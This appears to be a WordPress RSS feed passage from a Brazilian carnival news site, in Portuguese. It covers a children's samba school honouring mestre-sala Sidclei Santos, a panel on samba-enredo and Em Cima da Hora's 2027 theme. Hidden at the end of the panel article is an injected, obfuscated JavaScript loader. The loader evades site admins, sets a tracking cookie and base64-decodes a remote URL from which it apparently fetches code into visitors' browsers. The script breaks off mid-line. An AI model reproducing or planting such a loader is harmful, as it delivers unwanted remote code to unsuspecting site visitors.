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					<description><![CDATA[<p>A Aprendizes do Salgueiro deu o primeiro passo em direção ao próximo carnaval, gravando o vídeo de lançamento do enredo na quadra da escola-mãe, no Andaraí, Rio de Janeiro. A escola celebrará o legado histórico do mestre-sala Sidclei Santos na Sapucaí em 2027. São 17 anos consecutivos defendendo o pavilhão vermelho e branco, sendo o [&#8230;]</p>
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										<content:encoded><![CDATA[<figure id="attachment_194113" aria-describedby="caption-attachment-194113" style="width: 617px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class="wp-image-194113 size-full" src="https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_3.jpg" alt="aprendizessal27 3" width="617" height="493" title="‘Amor ao Carnaval e Perseverança’ Aprendizes do Salgueiro celebra legado de Sidclei Santos no Carnaval 2027 15" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_3.jpg 617w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_3-501x400.jpg 501w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_3-150x120.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_3-526x420.jpg 526w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_3-300x240.jpg 300w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_3-600x479.jpg 600w" sizes="auto, (max-width: 617px) 100vw, 617px" /><figcaption id="caption-attachment-194113" class="wp-caption-text">Fotos: Mariana Santos/CARNAVALESCO</figcaption></figure>
<p>A Aprendizes do Salgueiro deu o primeiro passo em direção ao próximo carnaval, gravando o vídeo de lançamento do enredo na quadra da escola-mãe, no Andaraí, Rio de Janeiro. A escola celebrará o legado histórico do mestre-sala Sidclei Santos na Sapucaí em 2027. São 17 anos consecutivos defendendo o pavilhão vermelho e branco, sendo o mestre-sala mais longevo da história da agremiação, além de garantir os 40 pontos no quesito com consistência nos últimos dez anos.</p>
<h2 data-fetch="true"><strong><a href="https://whatsapp.com/channel/0029VaAb9275fM5RRZWlW22w" target="_blank" rel="noopener">* Seja o primeiro a saber as notícias do carnaval! Clique aqui e siga o CARNAVALESCO no WhatsApp</a></strong></h2>
<p>Para Sidclei, o maior aprendizado que as crianças da Aprendizes podem guardar de sua história vai muito além do bailado: o amor ao carnaval e ao samba, a perseverança e a fé para chegarem onde quiserem.</p>
<p>“A responsabilidade aumenta porque essas crianças são o futuro do samba e o futuro da Acadêmicos do Salgueiro. Eu sei como é difícil chegar lá. É como no futebol: poucos conseguem alcançar o topo. Mas, se duas dessas crianças conseguirem chegar onde eu cheguei, já vou me sentir realizado. Imagino que, no futuro, alguém possa chegar para mim e dizer: ‘Eu desfilei no seu enredo’. Isso vai ser muito especial. O legado que eu quero deixar é o do companheirismo, da lealdade e, principalmente, do amor ao samba e ao carnaval. Porque eu acredito que tudo aquilo que fazemos por amor nos aproxima dos nossos maiores objetivos”, disse.</p>
<ul>
<li>
<h2><strong><a href="https://carnavalesco.com.br/grupo-especial/" target="_blank" rel="noopener">LEIA AQUI NOTÍCIAS DO GRUPO ESPECIAL DO RIO</a></strong></h2>
</li>
</ul>
<p>Legado tem sido palavra-chave na Aprendizes do Salgueiro. Nos últimos seis anos, sob a gestão da presidente Mara Rosa, os enredos têm abordado histórias de ícones da escola-mãe, como a carnavalesca Maria Augusta, que foi homenageada em vida; o mestre Louro, que comandou a bateria &#8220;Furiosa&#8221; por 40 anos; e o icônico intérprete Quinho, que foi enredo em 2026.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-194111" src="https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_1.jpg" alt="aprendizessal27 1" width="758" height="536" title="‘Amor ao Carnaval e Perseverança’ Aprendizes do Salgueiro celebra legado de Sidclei Santos no Carnaval 2027 16" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_1.jpg 758w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_1-566x400.jpg 566w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_1-150x106.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_1-594x420.jpg 594w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_1-300x212.jpg 300w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_1-600x424.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_1-696x492.jpg 696w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_1-100x70.jpg 100w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_1-200x140.jpg 200w" sizes="auto, (max-width: 758px) 100vw, 758px" /></p>
<p>“Eu penso muito no que nós, adultos salgueirenses, estamos fazendo pelo amanhã. Precisamos fazer com que a história se perpetue e entre no coração das crianças, para que elas conheçam a nossa trajetória e possamos olhar para frente. Inclusive, o nome do nosso projeto social, que reúne diversas oficinas, é ‘O amanhã está garantido’. Não tem como pensar no futuro sem prestigiar os talentos que fizeram parte da história da escola”, refletiu a presidente.</p>
<p>Ao falar de Sidclei, a Aprendizes do Salgueiro investe mais uma vez na noção de pertencimento entre as crianças, que serão o futuro do Salgueiro. Para além disso, o enredo dá a chance de crianças e jovens se reconhecerem e se inspirarem na trajetória do mestre-sala, que foi militar antes de se tornar referência no carnaval, reforçando também a importância da educação e da preparação para o futuro.</p>
<p>“Eles podem ser ritmistas, mas eu quero que sejam ritmistas e médicos, ritmistas e advogados, porque nós vamos passar e eles vão ocupar os nossos espaços. Por isso, levantamos essa bandeira de que educação e cultura precisam caminhar juntas. O Sidclei tem uma história linda. Ele era do Exército, e o pai dele tinha a preocupação de que seguisse a carreira militar. É uma preocupação comum entre muitas famílias: garantir um futuro para os filhos. Precisamos qualificar nossos jovens e pensar no amanhã, porque um dia os pais vão faltar. E, sendo um menino negro, de comunidade, essa preocupação é ainda maior. Acho que as crianças vão reconhecer parte de suas próprias histórias na trajetória do Sidclei”, afirmou.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-194116" src="https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_6.jpg" alt="aprendizessal27 6" width="788" height="481" title="‘Amor ao Carnaval e Perseverança’ Aprendizes do Salgueiro celebra legado de Sidclei Santos no Carnaval 2027 17" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_6.jpg 788w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_6-600x366.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_6-150x92.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_6-768x469.jpg 768w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_6-688x420.jpg 688w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_6-300x183.jpg 300w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_6-696x425.jpg 696w" sizes="auto, (max-width: 788px) 100vw, 788px" /></p>
<p>E a presidente conta que a ideia da escolha de Sidclei como homenageado veio de uma brincadeira do mestre, que lhe acendeu a ideia. Ao refletir sobre a trajetória do mestre-sala, percebeu o quanto ele é marcante para a história da agremiação e para a sua própria história. A decisão foi mantida em segredo entre ela e o presidente do Salgueiro, André Vaz, até ser revelada em um momento emocionante, durante uma festa de encerramento do Carnaval 2026.</p>
<p>“No ano passado, quando eu estava com a camisa do enredo do Quinho, o Sidclei comentou: ‘Poxa, que legal. Será que um dia eu viro enredo?’. Eu brinquei com ele e respondi: ‘Você tem que torcer para eu continuar sendo presidente para virar enredo’. Aquilo ficou na minha cabeça. Foi um estalo. Decidimos homenagear o Sidclei, que faz parte da nossa história e também da minha infância aqui no Salgueiro. Estamos muito felizes. Acho que ele está celebrando esse momento e participando ativamente de tudo”, compartilhou.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-194115" src="https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_5.jpg" alt="aprendizessal27 5" width="746" height="453" title="‘Amor ao Carnaval e Perseverança’ Aprendizes do Salgueiro celebra legado de Sidclei Santos no Carnaval 2027 18" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_5.jpg 746w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_5-600x364.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_5-150x91.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_5-692x420.jpg 692w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_5-300x182.jpg 300w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_5-696x423.jpg 696w" sizes="auto, (max-width: 746px) 100vw, 746px" /></p>
<p>Aproveitando cada segundo das homenagens, o mestre participou da gravação ao lado das crianças da Aprendizes do Salgueiro. Seguindo os passos da escola-mãe, que “tem fama de fazer história por ser diferente”, a agremiação se torna a primeira escola mirim a produzir um vídeo de lançamento de enredo.</p>
<p>A gravação marca o primeiro passo em direção ao Carnaval 2027, que está em fase inicial nas mãos do carnavalesco Davi Lisboa, com fantasias em processo de confecção. Para Sidclei, cada convite vindo da presidente Mara é um momento de grande emoção, e ainda haverá muitos até fevereiro.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-194112" src="https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_2.jpg" alt="aprendizessal27 2" width="697" height="458" title="‘Amor ao Carnaval e Perseverança’ Aprendizes do Salgueiro celebra legado de Sidclei Santos no Carnaval 2027 19" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_2.jpg 697w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_2-600x394.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_2-150x99.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_2-639x420.jpg 639w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_2-300x197.jpg 300w" sizes="auto, (max-width: 697px) 100vw, 697px" /></p>
<p>Durante a gravação, o mestre-sala recebeu mais uma surpresa: o primeiro contato com as crianças da Aprendizes desde o anúncio do enredo, sendo recebido com muito carinho e entusiasmo pelos pequenos.</p>
<p>“A escola está seguindo uma linha de não me contar nada e, a cada dia, eu acabo vivendo uma emoção diferente. Hoje, cheguei à quadra sem saber que teria toda essa recepção. Foi o primeiro encontro com todos os segmentos da Aprendizes do Salgueiro, com o casal, com as crianças. Só de entrar na quadra e ouvir os gritos de ‘enredo, enredo’, eu já me emocionei. Tudo isso é muito novo para mim. Só tenho gratidão à Mara, à diretoria da Aprendizes, ao presidente André e a todos que estão tornando esse momento possível. Estou muito feliz e vivendo uma emoção diferente a cada dia”, contou.</p>
<p>Provando que o legado de Sidclei está em boas mãos, os pupilos Moisés Benjamin, de 12 anos, e Anne Manuela, de 15, defendem o pavilhão da Aprendizes. Anna deu seus primeiros passos na escola há oito anos; Moisés, há sete. Juntos, formam o casal desde 2021.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-194114" src="https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_4.jpg" alt="aprendizessal27 4" width="706" height="512" title="‘Amor ao Carnaval e Perseverança’ Aprendizes do Salgueiro celebra legado de Sidclei Santos no Carnaval 2027 20" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_4.jpg 706w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_4-552x400.jpg 552w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_4-150x109.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_4-579x420.jpg 579w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_4-300x218.jpg 300w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_4-600x435.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_4-696x505.jpg 696w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_4-324x235.jpg 324w, https://carnavalesco.com.br/wp-content/uploads/2026/06/aprendizessal27_4-648x470.jpg 648w" sizes="auto, (max-width: 706px) 100vw, 706px" /></p>
<p>“É muito gratificante ver pessoas de dentro, que se criaram aqui, recebendo o devido reconhecimento. Não é alguém que surgiu do nada e virou enredo. É alguém que está aqui há muitos anos, que dedicou a vida ao Salgueiro. É muito bom ver gente da casa sendo reconhecida”, declarou Anna.</p>
<p>O mestre-sala de 12 anos é fã declarado de Sidclei e diz que hoje, além de ídolo, ele também é um amigo. Como iniciante na arte do bailado, Moisés vê um significado ainda maior ao ver sua principal referência ser homenageada.</p>
<p>“Sidclei já me deu aulas, me ajuda bastante e teve um papel importante na minha caminhada dentro do samba. Ele me ajudou a melhorar a postura, o cortejo e a movimentação dos braços. Para mim, o Sidclei é uma referência na dança. Não tenho palavras para descrever a importância dele”, afirmou.</p>
<p>Ter Sidclei como enredo é um momento de consagração da carreira. São trinta anos de trajetória, com os 17 últimos dedicados inteiramente à escola do coração. O mestre-sala começou sua história no Salgueiro aos 16 anos e permaneceu na agremiação até os 23. Também passou pela São Clemente e defendeu o pavilhão da Grande Rio por dez anos, antes de retornar para “casa”. Ao todo, são 24 anos representando o pavilhão salgueirense. E, mesmo com tantas conquistas e grandes desfiles, para ele, o maior momento de sua carreira ainda está por vir.</p>
<p>“Tive muitos momentos marcantes. Foram inúmeras conquistas, desfiles e premiações ao longo da minha carreira. No próximo ano, completo 30 anos como mestre-sala no Grupo Especial. Por isso, é difícil apontar apenas um momento sem ser injusto com toda a minha trajetória. Mas eu sempre digo que o meu momento mais marcante ainda está por vir. Meu maior sonho é conquistar um título com o Salgueiro. Esse é o objetivo que me move. Todas as minhas conquistas pessoais foram importantes, mas o título do Salgueiro é o que eu mais desejo. Tenho certeza de que esse será o momento mais marcante da minha vida”, declarou.</p>
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		<title>&#8216;Samba é prioridade&#8217;: carnavalescos defendem essência das escolas em debate no Rio</title>
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		<dc:creator><![CDATA[Mariana Santos]]></dc:creator>
		<pubDate>Mon, 11 May 2026 19:29:01 +0000</pubDate>
				<category><![CDATA[Grupo Especial]]></category>
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					<description><![CDATA[<p>Identidade, memória, reparação. São traços que ligam &#8220;Ponciá Evaristo &#8211; Flor do Mulungu&#8221;, do Império Serrano, &#8220;Balangandãs, Berenguendens&#8221;, da União de Maricá, e &#8220;Macumbembê, Samborembá&#8221;, da Vila Isabel em 2026, e fizeram os sambas serem cantados com toda força na Sapucaí. E o processo de construção dessas fortes narrativas foi tema da roda de conversa [&#8230;]</p>
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										<content:encoded><![CDATA[<figure id="attachment_190074" aria-describedby="caption-attachment-190074" style="width: 721px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class="size-full wp-image-190074" src="https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena2.jpg" alt="mesarena2" width="721" height="508" title="&#039;Samba é prioridade&#039;: carnavalescos defendem essência das escolas em debate no Rio 23" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena2.jpg 721w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena2-568x400.jpg 568w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena2-150x106.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena2-596x420.jpg 596w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena2-300x211.jpg 300w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena2-600x423.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena2-696x490.jpg 696w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena2-100x70.jpg 100w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena2-200x140.jpg 200w" sizes="auto, (max-width: 721px) 100vw, 721px" /><figcaption id="caption-attachment-190074" class="wp-caption-text">Fotos: Mariana Santos/CARNAVALESCO</figcaption></figure>
<p>Identidade, memória, reparação. São traços que ligam &#8220;Ponciá Evaristo &#8211; Flor do Mulungu&#8221;, do Império Serrano, &#8220;Balangandãs, Berenguendens&#8221;, da União de Maricá, e &#8220;Macumbembê, Samborembá&#8221;, da Vila Isabel em 2026, e fizeram os sambas serem cantados com toda força na Sapucaí. E o processo de construção dessas fortes narrativas foi tema da roda de conversa no Samba EnRENA, na tarde de sábado, no Renascença Clube, no Rio de Janeiro.</p>
<p>A primeira edição do evento teve como tema “As que bombaram no Spotify 2026” e contou com a participação dos carnavalescos da Vila Isabel, Leonardo Bora e Gabriel Haddad; do carnavalesco do Império Serrano, Renato Esteves; da enredista da escola, Manu Rosa; e do diretor de carnaval da União de Maricá, Mauro Amorim. Além do debate, a noite se encerrou com show das três escolas, animando o público com sambas clássicos e provando a potência dos sambas de 2026 para além das plataformas de streaming.</p>
<h2 data-fetch="true"><strong><a href="https://whatsapp.com/channel/0029VaAb9275fM5RRZWlW22w" target="_blank" rel="noopener">* Seja o primeiro a saber as notícias do carnaval! Clique aqui e siga o CARNAVALESCO no WhatsApp</a></strong></h2>
<p>Parafraseando Rosa Magalhães, “ter um bom samba é meio caminho andado”. Nesse sentido, os carnavalescos discutiram o papel do enredo na construção de um bom samba. Para Gabriel Haddad, o samba é uma tradução da história, sem abandonar os outros elementos do desfile.</p>
<p>“O samba, na verdade, nada mais é do que a tradução daquilo que vai estar sendo contado no dia do desfile. A gente, claro, tem que dar uma importância muito grande, como a gente falou ali na mesa, para o samba-enredo, porque é uma escola de samba. É uma escola formada por sambistas, formada por uma bateria que vai entoar esse gênero que deu origem a isso tudo. As alegorias, as fantasias, a comissão de frente são apêndices ao samba, que vão se desenvolvendo durante um ano. Claro que a gente vai batalhar por um acabamento espetacular, por fantasias maravilhosas, por uma comissão de frente impactante, porque tudo hoje faz parte desse espetáculo maior que é o desfile”, explicou.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-190073" src="https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena.jpg" alt="mesarena" width="684" height="468" title="&#039;Samba é prioridade&#039;: carnavalescos defendem essência das escolas em debate no Rio 24" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena.jpg 684w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena-585x400.jpg 585w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena-150x103.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena-614x420.jpg 614w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena-300x205.jpg 300w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena-218x150.jpg 218w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena-600x411.jpg 600w" sizes="auto, (max-width: 684px) 100vw, 684px" /></p>
<p>Além de carnavalesco, Haddad também foi compositor e chegou a disputar a escolha de samba-enredo na Cubango. Segundo ele, seu “lado compositor” contribui diretamente para seu olhar como carnavalesco.</p>
<p>“Tem coisas no samba que, às vezes, o próprio compositor não percebeu, porque ele está ali viciado naquele dia a dia da construção do samba, porque, quando você se entrega, quando você vai fazer, você se dedica àquilo e acaba estudando muito. Então, um olhar de fora, um ouvido de fora acabam entendendo um pouco mais ou, às vezes, percebendo algo que a própria composição não percebeu. Eu valorizo muito essa troca, essa conversa, porque eles trazem algumas ideias que não estavam dentro do enredo e a gente acaba apresentando ideias que, às vezes, eles não tinham entendido para dentro do samba-enredo”, respondeu.</p>
<p>Outro tema debatido durante o encontro foi o crescimento dos enredos de homenagem nos últimos carnavais. No caso do Império Serrano, a escola viveu uma experiência singular: uma homenagem em vida e com participação ativa da própria homenageada no processo criativo. Para levar “Ponciá Evaristo – Flor do Mulungu” à avenida, Conceição Evaristo acompanhou de perto o desenvolvimento do enredo conduzido pelo carnavalesco Renato Esteves e pela enredista Manu Rosa. A enredista conta que nunca viveu “nada igual” ao que foi a participação de Conceição no Império e afirma que contar essa história também foi um gesto de reparação.</p>
<p>“A ideia era imortalizar, e a gente acredita que a maior academia que existe é a Academia do Samba. Você se tornar enredo não tem nenhuma premiação que se equipare. Foi uma reparação histórica. O nosso país institucionalmente falhou com Conceição, logo falhou com as mães, com as mulheres negras. A gente tinha um trabalho político de representar as mulheres, as mães, e imortalizar Conceição Evaristo, que para nós é um dos maiores patrimônios da nossa literatura. E a Conceição&#8230; acho que nunca mais vai ter nada parecido. Ela adotou a gente. Nunca interferiu em nenhuma decisão. Tudo estava bom, tudo era um respeito. A primeira vez que nós a vimos, a gente não conseguia nem falar. E agora a gente toma café junto, toma cerveja junto. Acho que nunca conheci ninguém do tamanho dela que tivesse a simplicidade, a humildade. Ela respeitou o nosso processo artístico, confiou, e continua na nossa equipe. Agora se tornou equipe de criação também”, declarou.</p>
<p>A participação constante da escritora na quadra e nos eventos da escola fez com que, nas palavras de Renato, ela fosse muito além da homenageada: “foliã, diretora, pesquisadora, aderecista”. A vivência próxima de Conceição Evaristo trouxe uma energia diferente para toda a comunidade imperiana.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-190075" src="https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena3.jpg" alt="mesarena3" width="843" height="551" title="&#039;Samba é prioridade&#039;: carnavalescos defendem essência das escolas em debate no Rio 25" srcset="https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena3.jpg 843w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena3-600x392.jpg 600w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena3-150x98.jpg 150w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena3-768x502.jpg 768w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena3-643x420.jpg 643w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena3-300x196.jpg 300w, https://carnavalesco.com.br/wp-content/uploads/2026/05/mesarena3-696x455.jpg 696w" sizes="auto, (max-width: 843px) 100vw, 843px" /></p>
<p>“Ela traz para a gente essa força da mulher preta. E esse colo de mãe que ela nos deu foi muito importante. Foi muito forte e, na verdade, contagiou a comunidade inteira. Ela virou uma referência para a comunidade. A velha guarda virou e falou: ‘não, ela já é nossa baluarte’. Ela já virou baluarte. Ela queria voltar e desfilar como baiana. Ela movimentou a comunidade do Império de uma forma muito forte, mas acho que isso aconteceu muito pelo fato da identificação. Principalmente as imperianas se identificaram muito com Dona Conceição, com as histórias dela, com a vivência dela, com as próprias vivências. Esse é o princípio das ‘escrevivências’, foi isso que a gente levou para a avenida”, concluiu.</p>
<p>O samba escolhido para o Reizinho de Madureira também vai na contramão do esperado: o samba não menciona o nome de Conceição Evaristo e se inspira na ‘escrevivência’ da escritora.</p>
<p>“Para a gente, por exemplo, não havia alguma necessidade de falar o nome da homenageada, porque o próprio samba era um enredo. A gente entendeu que falar o nome da homenageada, primeiro, era um enredo em que a gente estava fazendo uma ‘escrevivência’ que falava sobre as obras da Dona Conceição. A gente não falava diretamente sobre a biografia de Conceição Evaristo, então não fazia sentido algum usar ‘Conceição Evaristo’ num enredo em que a gente falava de Conceição Evaristo. ‘Flor do Mulungu’ foi até um pedido nosso, que não tivesse ‘Conceição Evaristo’. Tem um verso, uma estrofe muito linda em um samba campeão do Império Serrano, campeão do Grupo de Acesso, que fala: ‘Você já sabe quem eu sou pelo toque do agogô’. Você não precisava. A minha dor já fala por mim, sua resistência, seu orgulho, seu empenho. Você não precisa falar o nome para entender que é Império. Então, se é poesia, fala muito mais”, declarou.</p>
<p>Já a enredista Manu Rosa pensa além da declaração de Rosa Magalhães: &#8220;o samba-enredo é mais que meio caminho andado&#8221;, e o samba ainda é a prioridade de uma escola de samba. Além disso, Manu vê o samba como instrumento de memória, pois “tudo é efêmero, e o samba é o que há de material para rememorar”.</p>
<p>A enredista também destacou o peso de um samba com alto poder de identificação, como o de 2026, que impactou profundamente a comunidade imperiana: os livros de Conceição Evaristo se popularizaram entre os componentes e possibilitaram que muitos tivessem acesso ao seu primeiro livro. E isso só ocorreu pela liberdade criativa que a dupla cede aos compositores, defendendo que a liberdade poética abre um leque de chances de interpretações e identificação.</p>
<p>“Quando você não dá um nome, você possibilita interpretações, possibilita as pessoas se verem. Então, a gente amplia a concepção para além do nome, para além do candomblé, da religião, da cultura. Ela está ali o tempo todo, mas, quando a gente não dá um rosto, quando a gente não dá um nome, um CPF, aquilo se torna mais universal. As pessoas têm mais liberdade de se apropriar. ‘Ah, eu sou de Oxum’, ‘ah, um filho&#8230;’. Então, as pessoas conseguem criar uma conexão. Aquilo não fica da Conceição, fica nosso. Também tem essa liberdade poética do encontro”, explicou.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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		<title>Em Cima da Hora mergulha na ancestralidade feminina com enredo sobre Luzia Pinta</title>
		<link>https://carnavalesco.com.br/em-cima-da-hora-mergulha-na-ancestralidade-feminina-com-enredo-sobre-luzia-pinta/</link>
		
		<dc:creator><![CDATA[Mariana Santos]]></dc:creator>
		<pubDate>Sat, 09 May 2026 10:38:14 +0000</pubDate>
				<category><![CDATA[Série Ouro]]></category>
		<category><![CDATA[Em Cima da Hora]]></category>
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<p>A escola de Cavalcanti segue para mais um ano sob as bênçãos ancestrais femininas. Para 2027, a escola levará para a avenida o enredo “Luzia Pinta &#8211; Da Calunga Grande aos Calundus da Cura”, de Cahê Rodrigues e Rodrigo Almeida. O enredo aborda a história de Luzia Pinta, uma africana escravizada no Brasil que carrega uma trajetória marcada por perseguições e acusações de feitiçaria. A escola apresentou a nova equipe e o tema para o próximo carnaval em evento na Barra da Tijuca.</p>
<p>O enredo segue uma linha conceitual similar ao enredo “Salve Todas as Marias – Laroyê, Pombagiras”, de 2026, em que exaltaram as pombagiras como forças femininas ancestrais, de resistência e identidade. A escola projeta ampliar esse olhar, reafirmando o compromisso com o protagonismo feminino e gerando reflexão sobre seus legados na cultura brasileira contemporânea. Rodrigo Almeida, carnavalesco, afirma que a “energia espiritual feminina” coincide com o momento atual da escola.</p>
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<p>“Acho que a escola gostou muito. A energia feminina, a energia espiritual ancestral, é uma coisa que a escola trouxe para ela, é uma coisa que só fortifica a ideia dessa reconstrução, dessa ascensão da escola. Acho que essa energia feminina se adaptou bem à escola. A gente não pode esquecer que Pomba Gira é uma coisa que roda, que gira, é uma entidade que&#8230; Tem um ditado africano que diz: ‘Exu matou um pássaro com a pedra que jogou ontem’. Pomba Gira veio para abrir os caminhos para Luzia Pinta e, com certeza, a Luzia Pinta agora vai ser um sucesso na avenida”, afirmou.</p>
<p>O enredo cumpre a missão do carnaval de levar para a avenida histórias de diversas pessoas simbolizadas em uma só. Para Cahê, Luzia reflete histórias de amigas e líderes religiosas que passaram por sua vida: mulheres negras, corajosas, que lutam para exercer sua religiosidade sem amarras.</p>
<p>“Hoje existem muitas mulheres que podem exercer a sua prática religiosa com liberdade e segurança, mesmo sabendo dos preconceitos que as religiões de matriz africana enfrentam no Brasil. Mas a escola de samba está aí para isso: reforçar essa narrativa do quanto é importante exaltar essas mulheres. E a Luzia Pinta traz justamente essa saga, essa força dessas mulheres que a gente vai conduzir lindamente através do desfile da Em Cima da Hora”, declarou.</p>
<p>Dentre tantas histórias que Luzia reflete, Cahê destaca uma em especial, que parte de uma memória afetiva: Dona Janete, esposa de Chiquinho, dono da tradicional loja Babado da Folia e ex-diretor de carnaval da Mocidade. Dona Janete foi responsável por auxiliar e cuidar da mãe do carnavalesco em um momento espiritual delicado.</p>
<p>“Hoje minha mãe é convertida, segue a vida religiosa dela, mas naquele momento em que a gente precisou desse acolhimento, Dona Janete abriu as portas do terreiro dela, em Campo Grande, e recebeu minha mãe com muito carinho. Ali eu pude presenciar o amor que ela colocava dentro da prática dela. Aquilo fez toda a diferença para a minha vida, porque eu não tinha muito conhecimento sobre a religião e, a partir das práticas daquela mulher, tudo fez sentido para mim. Eu pude entender o amor que ela tinha em cuidar de pessoas. Quando eu leio sobre Luzia Pinta e quando a gente pesquisa sobre Luzia Pinta, eu lembro dessa mulher, porque era exatamente isso. Ela é uma dessas Luzias Pintas espalhadas pelo mundo”, relatou.</p>
<p>Cahê Rodrigues retorna ao carnaval carioca, somando sua experiência à de Rodrigo, que atua na escola desde 2024. O trabalho no barracão ainda não começou, mas, desde já, a dupla exalta a sintonia e a forma orgânica como a parceria tem sido construída.</p>
